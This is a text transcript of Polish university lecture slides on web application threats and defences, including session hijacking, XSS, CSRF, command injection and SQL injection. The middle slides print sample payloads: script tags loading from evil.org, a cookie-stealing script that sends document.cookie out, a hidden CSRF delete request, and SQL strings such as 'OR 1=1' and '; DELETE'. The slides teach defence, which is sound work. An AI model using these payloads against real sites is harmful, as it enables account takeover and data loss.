Zagrozenia aplikacji internetowych

Transkrypt

Zagrozenia aplikacji internetowych
Zagrożenia aplikacji
internetowych
Dr inż. Marek Miłosz
Plan
n
n
n
n
n
n
Aplikacja internetowa
Proste zagrożenia
Ukryte parametry na stronie
Manipulacje parametrami (doklejanie, zmiana
ścieżki)
Wstrzykiwanie (ang. Injection) zawartości (treści,
HTML, kodu programowego i SQL)
Ataki na sesje
(c) M.Miłosz
2
Aplikacja internetowa
„Dynamiczne” strony WWW
n Kod wykonywany na serwerze
n Manipulowanie danymi przez klienta
n Współpraca z serwerem bazy danych i
innych usług
n Komunikacja z klientem przy pomocy
protokołu http (https)
n Dane pobierane przy pomocy formularzy
HTML i przesyłane metodą GET lub POST
n Klient – standardowa przegl ądarka WWW
n
(c) M.Miłosz
3
Aplikacja internetowa architektura
.ini
Przeglądarka
Statyczne
strony
Multimedia
.ini
Serwer WWW
Klient
Serwer
Aplikacja
.ini
Programy
Serwer aplikacji
.ini
BD
Serwer BD
(c) M.Miłosz
.ini
Inne serwery
4
Przykłady technologii
CGI – Common Gateway Interface
(uruchamianie skryptów – zwykle w Perlu,
Phyton, PHP czy VB, poleceń SO)
n ASP - Active Server Pages (MS, VB Script
lub C#); obecni e ASP.NET
n JSP – Java Server Pages
n J2EE (JSP/ Servlet/EJB)
n Oracle 9i
n PHP
n
(c) M.Miłosz
5
Wzrost zagro żeń
Powszechna dost ępność aplikacji
n Anonimowi klienci
n Przenośność oprogramowani a
n Stosowanie standardów (ogólnie znanych)
n Wysoki poziom abstrakcj i danych
n Jawność kodu (HTML, JavaScript)
n Skomplikowane języki programowania oraz
konfiguracje wykonawcze (np. MySQL
serwer + PHP parser + Apache + pl iki
HTML, CSS i inne)
n
(c) M.Miłosz
6
Jeden z problem ów
Konieczność utrzymania sesji w
bezstanowym pr otokole http
n Rozwiązania:
n
¨ Ukryte
pola w formularzach
¨ Parametry wywołania (stan sesji po stronie
serwera, ale Id po stronie klienta)
¨ Cookies
¨ IP, MAC
n
Wszystko po stroni e klienta ;-(
(c) M.Miłosz
7
Proste zagro żenia
n
Nazewnictwo plików (łatwe do odgadni ęcia
-> pobrania poza aplikacją), np.
form_11.html
http://www.codeguru.pl/article-515.aspx
Stare wersje plików (możliwość pobrania
bez wykonani a; np. plik.jsp a plik.jsp.old)
n Istotne informacje w komentarzach kodu
HTML (automat ycznie wstawiane przez
narzędzia, programistów, znaczniki META)
n
<!-- <P align="center"><A href="AskBillGates.aspx">
<IMG alt="Zapytaj Billa Gatesa!" src="img/AskBillGmonitor.jpg" border="0"></A></P> --> (w CodeGuru ;-))
(c) M.Miłosz
8
„Ręczne”
pobranie
(c) M.Miłosz
9
Badanie środowiska – wstęp do
ataku
Analiza źródła (HEAD, OPTI ONS, META)
n Analiza zwracanych b łędów (np. 404)
n Analiza komunikatów na nieznany typ
pliku (np. asp czy exe)
n Zmiana danych wejściowych w celu
wywołania błędu skryptu
n
(c) M.Miłosz
10
Strona
z
błędem
Error 404
wykladowcy.wspa.edu.pl
Wed Jan 2 09:28:56 2008
Apache
(c) M.Miłosz
11
Ukryte para metry
n
Zapamiętywanie zmiennych po stroni e
klienta:
<input type="hidden" name="nr"
value="3335w" />
Niewidoczne na formul arzach ale
widoczne w tekście źródłowym
n Zapamiętywanie istotnych dan ych ->
zagrożenie
n
(c) M.Miłosz
12
Ukryte para metry - modyfikacja
n
GET – adres w przeglądarce (łatwa zmiana);
wartości max. 100 znaków; struktura:
URL?name=value&name=value
n
POST (dla długich wartości zmiennych lub nieASCII):
pliku HT ML, zmiana warto ści ukrytego
parametru i uruchomienie pliku
¨ Zastosowanie lokalnego proxy, modyfikującego „w
locie” ruch HTML
¨ Zapisanie
(c) M.Miłosz
13
Lokalne proxy
Działa lokalnie na stacji intruza
n Adres 127.0.0.1 i port proxy należy
skonfigurować w przeglądarce
n Przechwytuje i modyfikuje ruch w locie
n Najbardziej znany: www.webproxy.com
(zablokowane), ale…Odysseus (dostępny
min. www.bindshell.net/tools/odysseus)
n
(c) M.Miłosz
14
Doklejanie parametr ów
Odgadnięcie/podejrzenie nazwy zmiennej
n Brak inicjacji zmiennej w kodzie
n „Doklejenie” jej w linii lub przez proxy
n Przykład:
n
http://serwer/login.php?login=x&pass=y&czyOK=OK
KOD:
if (sprawdz_w_bazie($login, $pass)) {$czyOK=”OK”};
if ($czyOK == ”OK”) { JEST OK }
else { BŁĄD };
(c) M.Miłosz
15
Obsługa sytuacji specjalnych
Wszystkie wyjątki/błędy/błędne dane
powinny być obsłużone przez aplikacj ę
n Sytuacja specjalna – np. brak parametru
lub niewłaściwy format danych parametru
lub niewłaściwa wartość (poza zakresem)
n Możliwość zaburzenia pracy aplikacji
(logiki lub unieruchomienie)
n
(c) M.Miłosz
16
Cookies (1)
n
Czym są?
tekstowe – przechowywane u klienta
(konieczność udostępnienia opcji zapisu)
¨ Pliki
n
Przechowują – (nazwa+wartość) dane:
¨ Nazwa
ciasteczka
¨ Domena
¨ Czas ważności (uwaga na zegar klienta!)
¨ Inne (aplikacja)
n
Zapis na żądanie serwera:
n
Przykład:
Set-Cookie: nazwa=wartość; expires=DATA;
path=ŚCIEŻKA; domain=DOMENA; secure
eprawniktrackingd1ca0080273ad8e676db26cc6d1463e5eprawnik.pl/prawo/153637831567362991998412206135202
9901880*
17
(c) M.Miłosz
Cookies (2)
n
n
n
n
Cookies powinny być dostępne tylko dla danego
serwera (ale...)
Można przechwytywać i modyfikować przy
pomocy lokalnego proxy
Można pozyskać ID sesji lub domyślić się innego
ID sesji -> wznowić lub przejąć sesję
Można modyfikować parametry (najczęściej
flaga/status autoryzacji klient a), np.:
setcookie(”autoryzacja”,”tak”)
n
Modyfikować cookies można też w przypadku
protokołu SSL (lokalne proxy realizuje przejęcie,
atak „man in the middle”)
18
(c) M.Miłosz
„Man in the middle”
SSL(1)
Brak
szyfrowania
127.0.0.1
SSL(2)
Przeglą
darka
Lokalne
proxy
Serwer
Klient
(c) M.Miłosz
19
Podszycie si ę pod sesję
Wymagana jest znajomość identyfikatora
sesji (tokena)
n Zwykle w cookie, ale też w parametrze
GET/POST lub ukrytym polu w FORM
n Skąd?
n
¨ Podsłuchać
¨ Przewidzieć
¨ Ukraść
n
Można ominąć mechanizmy autentykacji
klienta – przejęcie lub wznowienie sesji
(np. administratora aplikacji)
(c) M.Miłosz
20
Token
n
n
n
n
n
Losowy – nieprzewidywalny
Ograniczony czasowo – by uniknąć możliwości
„brutalnego” ataku
Dostatecznie długi - by uniknąć możliwości
„brutalnego” ataku oraz „losowego” odgadnięcia
Zależny od IP klienta – by uniemożliwić
wznowienie
Szyfrowany (cooki przez SSL) – by ograniczyć
możliwość przechwycenia
(c) M.Miłosz
21
Skąd pochodzi?
n
W większości przypadków z API (np.
parsera PHP):
JSESSIONID (JSP), PHPSESSID (PHP),
ASPSESSIONID (Microsoft ASP)
n
Niektóre API mają/miały przewidywalne
algorytmy (np. IBM WebSphere 4.0) ;-(
(c) M.Miłosz
22
Wstrzykiwanie (ang. Injection)
Niechciane przekazani e nieoczekiwanych
danych do aplikacji
n Wstrzyknięcie:
n
¨ Niechcianej
t reści
¨ Kodu HTML/skryptu
¨ Polecenia syst emu operacyjne go
¨ Polecenia SQL
(c) M.Miłosz
23
Wstrzyknięcie treści
Wprowadzenie treści niepożądanej do
serwisu (wulgaryzmy, seks, nazi zm itp.)
n Klasyczny problem różnego typu forów,
ankiet otwartych, ocen produkt ów itp.
n Walka:
n
¨ Ręczna
moderacja (trudna i kosztowna)
¨ Przeszukiwanie słownikowe (mało efektywne
dla sprytnych wandali)
(c) M.Miłosz
24
Wstrzyknięcie kodu HTML
n
n
Atak na innego użytkownika przez napastnika z
wykorzystaniem aplikacji internetowej jako nosiciela
Istota:
Wykonanie kodu HTML (cz ęsto w połączeniu ze
skryptem) przez przegl ądarkę ofiary
n
n
n
Możliwy kiedy aplikacja pobiera dane i je publikuje
bez należytego sprawdzenia
Cross-Site Scripting (XSS) – skrypty (klient ufa apl)
Cross-Site Request Forgeries (CSRF/XRF) –
wykorzystanie właściwości http, pobieranie
składników strony (apl.
ufa klientowi)
25
(c) M.Miłosz
Proste wstrzykni ęcie HTML
n
Wykorzystanie znaczników HTML:
¨ Przypadkowe
zepsucie strony (zapomnienie wsta wienia
zamykającego znacznika lub znaku spacjalnego)
¨ Wykorzystanie <FORM> do pobrania danych od klienta
¨ Nieoczekiwane dla klienta przej ścia do innej strony:
<a href=”http://www.zla.strona.pl”> Zobacz </a>
¨ Wywołanie
skryptu bez wied zy administratora (napastnik
pozostawia, a admin na swoje sesji uruchami
a) - CSRF:
Ukrycie komunikatu
<IMG src="admin.php?delete=13">
<IMG style="display: none;"
src="admin.php?delete=13">
(c) M.Miłosz
braku obrazu
26
Pomyłka
<TR>
<TD colspan=2 bgcolor="#FFFFCC">
<font size="2">
<b>
Pomyłka
Wiadomość: <br>
</b>
<a href=" > coś </a></font>
</TD>
</TR>
<TR>
<TD colspan=2>
<form method="post" name="form2"
action="news.php?action=usun " style="font-size: 10px">
Przycisk
nieaktywny
(c) M.Miłosz
27
Rezultat wstawienia <a>
(c) M.Miłosz
28
Wstrzykiwanie znak ów
n
Wstawianie niedozwolonych znaków do URI
(standard : Uniform Resource Identifiers (URI): Generic
Syntax”, http://www.ietf.org/rfc/rfc2396.txt ), URL:
¨ Zarezerwowanych:
;/?:@&=+$,
¨ Sterujących: ENTER, Esc, Null
¨ Znaczników: <>
Kodowanie procentowe: %cc (c- cyfra
heksadecymal na), np. %20 – SPACE (ASCII
kod: 32), a % koduj e się jako %25
n Wielokrotne kodowani e, np. %255c daje /
to samo: %25%3 5%63
n
(c) M.Miłosz
29
Wstrzyknięcie skryptu
Wykorzystanie znaczników <SCRIPT>,
<OBJECT>, <A PPLET> czy <EMBED>
n Przykłady:
n
Hello World! <SCRIPT>zły kod</SCRIPT>
Hello World! <EMBED
SRC="http://www.paedophile.com/rape.mov">
<A HREF="http://trusted.org/search.cgi?criteria=<SCRIPT
SRC='http://evil.org/badkama.js'></SCRIPT>"> Go to
trusted.org</A>
(c) M.Miłosz
30
Inne wstrzykni ęcia złego kodu
n Wykorzystanie zdarzeń w interfejsie:
<b
onMouseOver="self.location.href='http://ev
il.org/'"> bolded text</b>
n
Wywołanie błędu i zwrot kodu:
http://trusted.org/<script>code</script>
(c) M.Miłosz
31
Przykład błędu
Warning:
unlink(/home/wspa/WWW/wykladowcy.wspa.edu.pl/wykladowc
a/pliki/marekm/upload/./nowy_) [function.unlink]: No such file or
directory in
/home/wspa/WWW/wykladowcy.wspa.edu.pl/wykladowca/pl
iki/marekm/wykladowca.php on line 523
Warning:
rmdir(/home/wspa/WWW/wykladowcy.wspa.edu.pl/wykladowc
a/pliki/marekm/upload/./2005-6_sesja_zimowa/)
[function.rmdir]: Directory not empty in
/home/wspa/WWW/wykladowcy.wspa.edu.pl/wykladowca/
pliki/marekm/wykladowca.php on line 517
(c) M.Miłosz
32
XCC – kradzież Cookies
n
Po stronie serwera:
<SCRIPT type="text/javascript">
var adr = 'zly.php?ciasteczka=' +
escape(document.cookie);
var obr = '<IMG src="' + adr + '">';
document.write(obr); </SCRIPT>
n
Pobranie Cookie
Wpisanie w artości
zmiennej obr
U klienta (po wykonaniu skryptu):
<IMG src=”zly.php?ciasteczka=zawartość_cookie”>
Otwarcie strony powoduje automatyczne
przesłanie Cookie oraz akcję zly.php (np.
zapisanie Cookie oraz odesłanie rysunku)
n Escape() zamienia znaki specjalne na %nn
(wysłanie URI)
n
(c) M.Miłosz
33
Atak CSRF na lokalną aplikację
(c) M.Miłosz
Shiflett C.: Foiling Cross-Site Attacks, PHP Architect nr 10/2003
34
Wstrzyknięcie polecenia SO
n
Aplikacja przekazuje do klienta parametr y
do wywołania systemowego:
¨ Funkcji
API
¨ Polecenia SO
n
Jeśli parametry nie są sprawdzone przed
wywołaniem to można:
¨ Dokleić
swoje parametry
¨ Wywołać swoje polecenie SO (np. exec(),
system())
(c) M.Miłosz
35
Przykład
<HTML>
<?php
passthru ( " /home/user/metoda " . $_GET['USER_INPUT'] ); ?>
n
Można:
¨ Wykonać
polecenie SO (dir, copy czy ld)
¨ Wykonać ciąg poleceń, wykorzystując: |
¨ Nadpisać plik na serwerze: > plik
n
Ochrona:
¨ escapeshellarg ()
¨ escapeshellcmd ()
(c) M.Miłosz
36
Wstrzyknięcie SQL
n
n
Atak na warstwę danych
Przyczyna:
¨ Brak
weryfikacji parametr ów przekazywanych od
klienta do aplikacji
¨ Konstrukcja zapyta ń SQL poprzez sklejanie
statycznego kodu SQL z wartościami parametr ów
n
Przykład:
$sql=”select * from pytania where id=$id”;
$wynik = mysql_query($sql);
A co jeśli było wcześniej: $id=$_GET[‘user_input’];
I podano: 1 or 1=1
(c) M.Miłosz
37
Typowe ata ki
n
Niekontrolowany dostęp do danych:
…UNION SELECT…
n
Zmiana logiki działania aplikacji:
…OR 1=1…
n
Wykonanie wielu poleceń z jednej linii (nie
we wszystkich SZBD jest to możliwe, MS
SQL Server - tak) – usunięcie, modyfikacja
danych (dowolne polecenie SQL):
…; DELETE * FROM…
…; UPDATE …
(c) M.Miłosz
38
Przykład
n
Kod: $sql=”select count(*) from uwierz
where uzytkownik=$uzytkownik”.
” and haslo=$haslo”;
n
Zmienna $uzytkownik=”jakis” a $haslo z
formularza ma wartość:
OK OR 1=1
n
Wynikowe zapytanie:
select count(*) from uwierz where
uzytkownik=jakis AND haslo=OK OR 1=1;
(c) M.Miłosz
39
GOOGLE hacking (1)
n
Obejście zabezpiecze ń przez roboty:
[PDF] Projektowanie aplikacji J2EE w architekturze Model-View-Controller
Format pliku: PDF/Adobe Acrobat - Wersja HTML
JSP. (View). Klasa. zewnętrzna. (Model). 1. 3. 5. Serwlet. (Controller). 2. 4. 4.
Rys. 1. Schemat przykładowej aplikacji w architekturze MVC ...
www.ploug.org.pl/konf_05/materialy/pdf/03.pdf - Podobne strony
n
n
Pobranie 03.pdf i wszystkich: 01.pdf, 02.pdf,…
Ale www.ploug.org.pl/konf_05/materiały/pdf
daje:
Forbidden
You don't have permission to access /konf_05/materialy/pdf/ on
this server.
Apache Server at www.ploug.org.pl Port 80
(c) M.Miłosz
40
GOOGLE hacking
n
n
n
http://www.eioba.pl/a75243/google_hacking_zar ys_problemu
Komunikaty błędów:
Warning: mysql_query() [function.mysql-query]: Unable to save result set in
/www/pasjagsm_www/www/forum/db/mysql4.php on line 148
Critical Error!
message_die() was called multiple times.
Error #1
Could not obtain common word list
Line : 323
File : /www/pasjagsm_www/www/forum/includes/functions_search.php
SQL : SELECT word_id FROM phpbb_search_wordmatch GROUP BY word_id HAVING COUNT(word_id) >
37040
SQL message: MySQL server has gone away
Error #2
Error doing DB query: pw count fetch
Line : 1759
File : /www/pasjagsm_www/www/forum/includes/page_header.php
SQL : SELECT COUNT(*) AS pw_count FROM phpbb_privmsgs pm WHERE pm.privmsgs_to_userid = 4605
AND pm.privmsgs_type <> 2 GROUP BY pm.privmsgs_to_userid
SQL message: MySQL server has gone away
Please, contact the Administrator. Thank you.
(c) M.Miłosz
41
Ochrona aplikacji (1)
n
n
n
Ograniczenie odpowiedzi serwera z
parametrami klienta (zamiast: Witaj Marek
można: Witaj Użytkowniku)
Ograniczenie długości odpowiedzi klienta
(ograniczenie od strony klienta długości
łańcucha ale też sprawdzenie w aplikacji)
Filtrowanie i usunięcie groźnych znaków
(szczególnie < i >, ale też i ‘, ” czy ;) ale uwaga
na specyficzne kody, np. < to też /x3c, ew.
zamiana znaków < na &lt (w ASP: HTMLEncode()
w PHP: htmlentities() )
(c) M.Miłosz
42
Ochrona aplikacji (2)
Analiza wartości parametrów wejściowych
(otrzymywanych od klienta) i wyjściowych
(publikowanych na stronie lub zapisywanych
do BD)
n Analiza składni i blokowanie niepożądanych
znaczników, szczególnie <SCRIPT>
i <EMBED>, <OBJECT>
n Użycie metody POST w formularzach
n Weryfikacja cookies przed użyciem
(i kontrola czasu trwania sesji)
n
(c) M.Miłosz
43
Ochrona aplikacji (3)
n
Wygenerowanie identyfikatora sesji na
stronie wejściowej i kontrola na pozosta łych,
często zawiera sumę kontrolna IP klienta, np.
http://trusted.org/app.jsp?session=h3uf8309a
i9.830988
w tym przypadku serwer utrzymuje stan sesji
(demarkacja sesji, klient dostarcza ID –
parametr lub cookie)
n Dokładna znajomość
specyfikacji/standardów sieciowych
n Precyzyjne ustawienia parametrów
serwerów, parserów i SO
(c) M.Miłosz
44
Ochrona aplikacji - architektura
n
n
n
n
Wprowadzenie kontrolera obsługującego całość
komunikacji z klientem
Wprowadzenie jednorazoweg o tokena –
zapobiega duplikacji przesyłanych danych,
przechwycenia sesji itp. (musi zaistnieć
zgodność tokena z wysłanym w poprzednim
pliku)
Separacja warstw: biznesowej i prezentacji, a
także danych
Ukrycie zasobów przed klientem
(c) M.Miłosz
45
Zabezpiecz swoj ą
aplikację
Wiedza to umożliwi

Podobne dokumenty